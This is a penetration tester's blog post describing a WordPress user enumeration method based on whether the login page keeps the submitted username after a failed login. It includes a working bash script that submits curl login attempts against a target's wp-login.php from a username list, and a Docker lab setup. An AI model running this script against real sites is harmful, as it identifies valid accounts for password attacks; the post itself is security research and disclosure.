Yet Another Way to Enumerate WordPress Users through Login Page

Introduction

As a pentester, you surely already encountered some unsecure WordPress websites, and I bet you ran WPScan on it. You might have discovered vulnerable themes or plugins, obsolete WordPress versions and I guess you tried the user enumeration available through WPScan. However, WPScan may not be enough to perform a reliable user enumeration. Thomas and I have recently discovered a new way to enumerate WordPress users through the login page ; a method to bypass most of the security protections that can be enabled on the WordPress login page apart from the HTTP Authentication to access this page of course. This is what today’s post is about.

The State of Art

WPScan gathers every known methods to enumerate WordPress users which are the following ones:

  1. Author ID Brute Forcing
  2. Author Posts
  3. Author Sitemap
  4. Login Error Messages
  5. oEmbed API
  6. RSS Generator
  7. WP JSON API
  8. YoastSEO Author Sitemap

You might have noticed that the #4 seems close to the one we’re announcing today… and it is, but it’s less reliable since login error messages can be disabled or changed to prevent user enumeration. And in fact, most of the above methods are not much reliable because it exists many ways to make these attack vectors useless.

The 9th Method

During a recent pentest audit, we were looking for login usernames and we found one. But WordPress offers to display a nickname that can be different from the raw pseudo of the user and we had to verify if the username was legit or if it was a nickname. We had plenty of method to check that, the “Forgotten Password” page for example or thanks to the classic “login message errors”. We did try the latter and the website being misconfigured from a security point of view, it provided us with the information we were looking for. And that’s at this specific moment Thomas discovered the 9th enumeration.

What’s happening here?

When you try to log in with a bad login username, WordPress reloads the login page and erase values of both username and password fields. But when you try to log in with a correct username and a bad password, WordPress only erases the password field value. Here’s is a step by step illustrated explanation of the 9th method:

Capture 1 - WordPress Installation
Capture 1 - WordPress Installation
Capture 2 - First Connection Try - Using Good Login and Good Password
Capture 2 - First Connection Try - Using Good Login and Good Password
Capture 3 - Connection Succeed
Capture 3 - Connection Succeed
Capture 4 - Current List of Users on this WordPress Instance
Capture 4 - Current List of Users on this WordPress Instance
Capture 5 - Second Connection Try - Using Good Login and Bad Password
Capture 5 - Second Connection Try - Using Good Login and Bad Password
Capture 6 - Failed - We can notice username is still filled with previously set value
Capture 6 - Failed - We can notice username is still filled with previously set value
Capture 7 - Failed - Checking the filled value with page source code
Capture 7 - Failed - Checking the filled value with page source code
Capture 8 - Third Connection Try - Using Bad Login and Bad Password
Capture 8 - Third Connection Try - Using Bad Login and Bad Password
Capture 9 - Failed - We can notice username input has been emptied this time
Capture 9 - Failed - We can notice username input has been emptied this time
Capture 10 - Failed - Checking the empty value with page source code
Capture 10 - Failed - Checking the empty value with page source code

Summing this Up

We already knew that WordPress didn’t do much to prevent this type of enumeration but we just found that it’s even more intricate to WordPress Core. When a correct username is provided, WordPress even returns in the request’s response the username as the username field value and that makes the whole enumeration easily feasible.

See It In Action

We made a little demonstration as proof-of-concept of the 9th method:

# Authors: Guillaume Coquard, Thomas Frade

url=$1      # Target URL
users=$2    # Username list files
tmp=/tmp/cookies

# Enumerate every users of a predetermined file
for user in $(cat "$users"); do
    
    # Submit through the wp-login.php the username and a generic password to trigger a failed authentication
    response="$(curl \
        --silent \
        --data "log=${user}&pwd=password&wp-submit=Log+In&redirect_to=${url}/wp-admin&testcookie=1&rememberme=forever" \
        --max-redirs 0 "${url}/wp-login.php" \
        -c ${tmp} \
        -b ${tmp} 2>/dev/null)"
    
    # Check the presence of the previously filled username in the response and especially in the input value attribute
    presence="$(echo "${response}" | grep "value=\"${user}\"")"

    # If the username is present in response then an account with this username exists in the DB
    if [ -n "$presence" ]; then
        echo "__ ${user} __ exists."
    fi
done

NB: We reached out to WordPress and WPScan in order to know it they were interested in publishing the 9th method as a CVE® but they were not.

To ensure a reproducible environment, we have set up a WordPress instance through a Docker container. WordPress version used is the latest stable version as of the date of publication of this article: 6.0. Here’s the docker-compose script used to launch the container:

version: "3.9"

services:
  db:
    platform: linux/amd64
    image: mysql:5.7
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: somewordpress
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

  wordpress:
    depends_on:
      - db
    image: wordpress:6.0
    volumes:
      - wordpress_data:/var/www/html
    ports:
      - "8600:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
volumes:
  db_data: {}
  wordpress_data: {}
Screen Recording of Exploitation of 9th Method